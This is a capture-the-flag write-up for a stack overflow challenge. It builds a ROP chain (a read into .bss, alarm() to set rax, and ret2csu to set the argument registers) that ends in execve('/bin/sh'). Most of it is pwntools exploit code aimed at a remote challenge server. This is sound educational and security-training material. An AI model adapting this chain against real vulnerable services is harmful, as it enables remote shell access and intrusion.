The title of the challenge (and the final flag) imply using the `srop` technique but that didn't occur to me during the CTF. Instead, I opted to use:
* Basic ROP chains* Using `alarm()` to set `rax`* `ret2csu` to set other registers
Ultimately, we want to run `syscall` with the following register values:
* `rax = 0x3b`* `rdi = &bin_sh_string`* `rsi = 0x0`* `rdx = 0x0`
Altogether, this translates to `execve("/bin/sh", argv=NULL, envp=NULL)`
Below is truncated code based off of a `pwntools` template:
```pop_rdi = 0x4005d3pop_rsi_r15 = 0x4005d1mid_main = 0x00400557syscall = 0x40053bcsu1 = 0x004005cacsu2 = 0x004005b0csu_loopback = 0x400e48 # refers to a function that does nothing (i.e. just a ret; essentially)
#io = start()io = remote("139.59.185.150", 31881)
cut = cyclic_find("kaaa")xpl = cyclic(cut)  # fill buffer to rip register
"""First we do a read() call into the bss() where we will write "/bin/sh" to a location we know (since PIE is disabled) then loop back to the main function"""xpl += p64(pop_rdi)xpl += p64(0x0)xpl += p64(pop_rsi_r15)xpl += p64(exe.bss())xpl += p64(0x0)xpl += p64(exe.sym.read)xpl += p64(exe.sym.main)io.sendline(xpl)
pause()"""Here, we send the /bin/sh string"""xpl = b"/bin/sh\x00"io.sendline(xpl)
"""Now, we're back in the main function and we want to set rax to 0x3b which is the syscall number for execve()"""xpl = cyclic(cut)xpl += p64(pop_rdi)xpl += p64(0x3b)xpl += p64(exe.sym.alarm)xpl += p64(pop_rdi)xpl += p64(0x3b)xpl += p64(exe.sym.alarm)
"""We use a ret2csu method to get the rest of the registers lined up (rdi, rsi, rdx)"""xpl += p64(csu1)xpl += p64(0x0) + p64(0x1) + p64(csu_loopback) + p64(exe.bss()) + p64(0x0) + p64(0x0)xpl += p64(csu2)cut2 = cyclic_find('oaaa') # I get lazy and stop counting bytes. I just run the code until it segfaults and tell pwntools where it segfaulted in order to get the right offsetsxpl += cyclic(cut2)xpl += p64(exe.sym._syscall)pause()io.sendline(xpl)
io.interactive()```